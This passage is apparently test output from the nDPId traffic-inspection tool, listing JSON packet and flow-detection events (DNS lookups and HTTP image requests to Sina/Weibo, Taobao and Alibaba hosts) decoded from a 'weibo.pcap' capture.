ncC5uZXQNCkVUYWc6ICI1NmFiMjYzMS1jZjgiDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTEyOTYwMDANCkV4cGlyZXM6IEZyaSwgMjcgTWF5IDIwMTYgMjE6Mzc6MDQgR01UDQpBZ2U6IDQ4DQpDb250ZW50LUxlbmd0aDogOTYwDQpDb250ZW50LVR5cGU6IHRleHQvY3NzDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNClB4LVVuY29tcHJlc3MtT3JpZ2luOiAzMzIwDQpMYXN0LU1vZGlmaWVkOiBGcmksIDI5IEphbiAyMDE2IDA4OjQzOjI5IEdNVA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00440{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":940197,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"kDVu60UQeJKcD6iOCABFAABAmoNAAEAG+XDAqAFpXbyG9ovdAFDX1pUBEqSbF7AQAPyIiAAAAQEICgBBCZQDdgpZAQEFChKklVgSpJdX"} +01742{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":943079,"pkt_caplen":1026,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1026,"pkt_l4_len":992,"pkt":"eJKcD6iOkDVu60UQCABFAAP0nCFAADgG\/B5dvIb2wKgBaQBQi90SpJdX19aVAYAYAqS\/MAAAAQEICgN2CrQAQQlsH4sIAAAAAAAAAK1W3XLbKhC+P0+hU98kHdnVj+XY1nQ601fIRS8ZEEihkUFFKHWr8bsXkJCxftI202hiW8vut9\/C7rKbR1BXRJ6lDzePIKcZZ8cn\/kKED7tvz4qVQtYIQZgcRG3GSy6Oqxw+4DhLL0pOhOCi9boFb5UHgRF3PgAqWg\/B7LkQvGF4PTb\/ApBkoBLkpefQSxg5y06izLnARLzB9C0BGhtFPBwgHA0ttwqR9fr4BeQNc5AbloWtVCzWmGRcQEkVAcYZST2FVasgKk6ZJMLsk\/EKMK2vbPXbAmO91FoYTHLYlDLlFcyo\/HEMNknqrU\/859qV5LRUvo6wrJ7gXb\/wMQnu9RZ+BpKeSEkZ8YY4ycke5irPc6VVE4bBd0IRb52TpCdYkC4sA3SijKKSF20FMaasWEteHZOgOpsoK6Xs\/YVaLuCJzGSOFJDVFdRE\/6enigsJmUwvq681qJ+pSocGlTQDCNakfSK0eJLHbaTB\/0Mc\/\/B7F+00I\/EWJyRIJwE2orx7Z37WHzQEEKQiUG4qVnyi+GO4DYPDNg62D2EYv7v3XIBO89h9rc\/uUsVratIiIzoRvCD13H32Nt1h199Vog2nsQ\/0k15MJCUplLrOecqqRh5znjW1b3O0LwVks\/OalxYsjuN0NkcvPcZC5Wq7q8qkOp3laCA30NHZC1FJJgJb6reRvsYvWuBnN2nQmlB0NLqKf2sRdnC7w4487J1Snuc1VZsQsypQM1I1+Rz+q2ZkuRL0ECdd6AZ\/getUbcLVUUFFaP2q37dElADATNKXuZLLd\/qxGCBr5+XK+egGsOtdEmVQYE3TJpWEBVDbNHrtM2yJhdtMjN\/IV10qe\/7WcEmcchoyeohvDtK0TYPiROUIVUiOdBRdr6eb8lDI+pZz77eB0Whr8EE\/w9b8ruD+bMtmPIy2y3C9hrrEYjJFLIJF4yOP1JNcl51tvV2JnSNy++ltH5qNLDN\/hvUSwOJZqxurJLkEDL541x7sCEeFPDboG9GNxXhWmeA5k027zKYkA5Y\/WdHHvCResjlxoU5Sf871DhShQxankwVRIHgXJYlv\/4NNdJ++XwSYRgE+8\/Mtm5ySEtdEjpuT5eAKZ\/yH2v+c4eW1CWQF9zBHh4UI452\/C\/39QYeXzMbXm4+Gr8fxfdIT07FOrpCFsc0fQQLMTcoXXM1Yr95J7lx2VZvOPqjYfK3M3BMF4TY4RPtwr66BQA0+HuP9wOMpb1431yyMfq+7MAZ\/62cYAPuZ2LzcToC\/AKDsjev4DAAA"} +00441{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089072,"pkt_ts_usec":943143,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"kDVu60UQeJKcD6iOCABFAABAmoRAAEAG+W\/AqAFpXbyG9ovdAFDX1pUBEqSbF7AQAPyCbQAAAQEICgBBCZUDdgq0AQEFChKkl1cSpJsX"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"weibo.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1463089073286,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":18035,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":286278,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"kDVu60UQeJKcD6iOCABFAABDKCFAAEARjs7AqAFpwKgBAUZzADUAL2deWFEBAAABAAAAAAAAAnUxA2ltZwZtb2JpbGUEc2luYQJjbgAAAQAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":252,"source":"weibo.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1463089073286,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":18035,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"dns": {"query":"u1.img.mobile.sina.cn","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"weibo.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1463089073287,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":50640,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":287324,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"kDVu60UQeJKcD6iOCABFAAA\/KCJAAEARjtHAqAFpwKgBAcXQADUAK4SVO9YBAAABAAAAAAAABmFjanN0YgZhbGl5dW4DY29tAAABAAE="} +00684{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":253,"source":"weibo.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1463089073287,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":50640,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"acjstb.aliyun.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":254,"source":"weibo.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1463089073287,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":51440,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":287582,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"kDVu60UQeJKcD6iOCABFAAA6KCNAAEARjtXAqAFpwKgBAcjwADUAJqqk8RABAAABAAAAAAAAAWcGYWxpY2RuA2NvbQAAAQAB"} +00630{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":254,"source":"weibo.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1463089073287,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":51440,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"g.alicdn.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":255,"source":"weibo.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1463089073287,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":53466,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":287796,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8KCRAAEARjtLAqAFpwKgBAdDaADUAKHiskZsBAAABAAAAAAAAA2xvZwZtbXN0YXQDY29tAAABAAE="} +00632{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":255,"source":"weibo.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1463089073287,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":53466,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"log.mmstat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":257,"source":"weibo.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1463089073289,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":33822,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":289058,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"kDVu60UQeJKcD6iOCABFAAA+KCVAAEARjs\/AqAFpwKgBAYQeADUAKn2XkPcBAAABAAAAAAAABWxvZ2luBnRhb2JhbwNjb20AAAEAAQ=="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":257,"source":"weibo.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1463089073289,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.1","src_port":33822,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"login.taobao.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01042{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":319058,"pkt_caplen":525,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":525,"pkt_l4_len":491,"pkt":"kDVu60UQeJKcD6iOCABFAAH\/moVAAEAG96\/AqAFpXbyG9ovdAFDX1pUBEqSbF4AYAPzpcwAAAQEICgBBCfMDdgq0R0VUIC90Ni9za2luL2RlZmF1bHQvaW1hZ2VzL2JvZHlfYmdfcGFnZS5qcGc\/aWQ9MjAxNDA5MjgxODM1MDAgSFRUUC8xLjENCkhvc3Q6IGltZy50LnNpbmFqcy5jbg0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiBpbWFnZS93ZWJwLGltYWdlLyosKi8qO3E9MC44DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI2NjEuMTAyIFNhZmFyaS81MzcuMzYNClJlZmVyZXI6IGh0dHA6Ly9pbWcudC5zaW5hanMuY24vdDYvc2tpbi9kZWZhdWx0L3NraW4uY3NzP3ZlcnNpb249MjAxNjA1MTMwNTM3DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUsIHNkY2gNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjgsaXQtSVQ7cT0wLjYsaXQ7cT0wLjQscnU7cT0wLjINCg0K"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":260,"source":"weibo.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1463089073319,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35806,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":319753,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8H8hAAEAGdDDAqAFpXbyG9oveAFCCZhY7AAAAAKACchAAKAAAAgQFtAQCCAoAQQnzAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":261,"source":"weibo.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1463089073321,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35807,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":321163,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA80r9AAEAGwTjAqAFpXbyG9ovfAFBlcdtMAAAAAKACchBYCgAAAgQFtAQCCAoAQQnzAAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":262,"source":"weibo.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1463089073322,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35808,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":322446,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8W1BAAEAGOKjAqAFpXbyG9ovgAFAoLVKkAAAAAKACchAd9QAAAgQFtAQCCAoAQQn0AAAAAAEDAwc="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":263,"source":"weibo.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1463089073334,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35809,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":334322,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kDVu60UQeJKcD6iOCABFAAA8E7RAAEAGgETAqAFpXbyG9ovhAFAJpBpDAAAAAKACchB02wAAAgQFtAQCCAoAQQn3AAAAAAEDAwc="} +00425{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":381894,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iOkDVu60UQCABFAAA0nCJAADgG\/91dvIb2wKgBaQBQi90SpJsX19aWzIAQAqEKgAAAAQEICgN2DKIAQQnz"} +00438{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":382415,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi944y47WgmYWPKAS\/\/+aeQAAAgQFqAQCCAoDdgyiAEEJ8wEDAwc="} +00423{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":382462,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA0H8lAAEAGdDfAqAFpXbyG9oveAFCCZhY8OMuO14AQAOXIRAAAAQEICgBBCgMDdgyi"} +01047{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":382597,"pkt_caplen":530,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":530,"pkt_l4_len":496,"pkt":"kDVu60UQeJKcD6iOCABFAAIEH8pAAEAGcmbAqAFpXbyG9oveAFCCZhY8OMuO14AYAOXSsAAAAQEICgBBCgMDdgyiR0VUIC90Ni9zdHlsZS9pbWFnZXMvZ2xvYmFsX25hdi9XQl9sb2dvX2IucG5nIEhUVFAvMS4xDQpIb3N0OiBpbWcudC5zaW5hanMuY24NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTAuMC4yNjYxLjEwMiBTYWZhcmkvNTM3LjM2DQpSZWZlcmVyOiBodHRwOi8vaW1nLnQuc2luYWpzLmNuL3Q2L3N0eWxlL2Nzcy9tb2R1bGUvY29tYmluYXRpb24vY29tYl9sb2dpbi5jc3M\/dmVyc2lvbj0yMDE2MDUxMzA1MzcNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZSwgc2RjaA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOCxpdC1JVDtxPTAuNixpdDtxPTAuNCxydTtxPTAuMg0KDQo="} +00793{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":285,"source":"weibo.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1463089073319,"flow_last_seen":1463089073382,"flow_tot_l4_data_len":608,"flow_min_l4_data_len":32,"flow_max_l4_data_len":496,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35806,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"img.t.sinajs.cn","url":"img.t.sinajs.cn\/t6\/style\/images\/global_nav\/WB_logo_b.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00439{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":383314,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi9\/6KbWaZXHbTaAS\/\/8KOQAAAgQFqAQCCAoDdgyiAEEJ8wEDAwc="} +00424{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":383342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kDVu60UQeJKcD6iOCABFAAA00sBAAEAGwT\/AqAFpXbyG9ovfAFBlcdtN+im1m4AQAOU4BAAAAQEICgBBCgMDdgyi"} +01075{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":383484,"pkt_caplen":550,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":550,"pkt_l4_len":516,"pkt":"kDVu60UQeJKcD6iOCABFAAIY0sFAAEAGv1rAqAFpXbyG9ovfAFBlcdtN+im1m4AYAOXBUAAAAQEICgBBCgMDdgyiR0VUIC90Ni9zdHlsZS9pbWFnZXMvZ3Jvd3RoL2xvZ2luL3Nwcml0ZV9sb2dpbi5wbmc\/MTM0MzQyMTAzODQzODkgSFRUUC8xLjENCkhvc3Q6IGltZy50LnNpbmFqcy5jbg0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiBpbWFnZS93ZWJwLGltYWdlLyosKi8qO3E9MC44DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81MC4wLjI2NjEuMTAyIFNhZmFyaS81MzcuMzYNClJlZmVyZXI6IGh0dHA6Ly9pbWcudC5zaW5hanMuY24vdDYvc3R5bGUvY3NzL21vZHVsZS9jb21iaW5hdGlvbi9jb21iX2xvZ2luLmNzcz92ZXJzaW9uPTIwMTYwNTEzMDUzNw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlLCBzZGNoDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC44LGl0LUlUO3E9MC42LGl0O3E9MC40LHJ1O3E9MC4yDQoNCg=="} +00814{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":288,"source":"weibo.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1463089073321,"flow_last_seen":1463089073383,"flow_tot_l4_data_len":628,"flow_min_l4_data_len":32,"flow_max_l4_data_len":516,"flow_avg_l4_data_len":157,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"93.188.134.246","src_port":35807,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Sina(Weibo)","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"img.t.sinajs.cn","url":"img.t.sinajs.cn\/t6\/style\/images\/growth\/login\/sprite_login.png?13434210384389","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/50.0.2661.102 Safari\/537.36"}} +00438{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"weibo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463089073,"pkt_ts_usec":383869,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iOkDVu60UQCABFAAA8AABAADgGm\/hdvIb2wKgBaQBQi+DI1jKOKC1SpaAS\/\/+EggAAAgQFqAQCCAoDdgyjAEEJ9AEDAwc="} 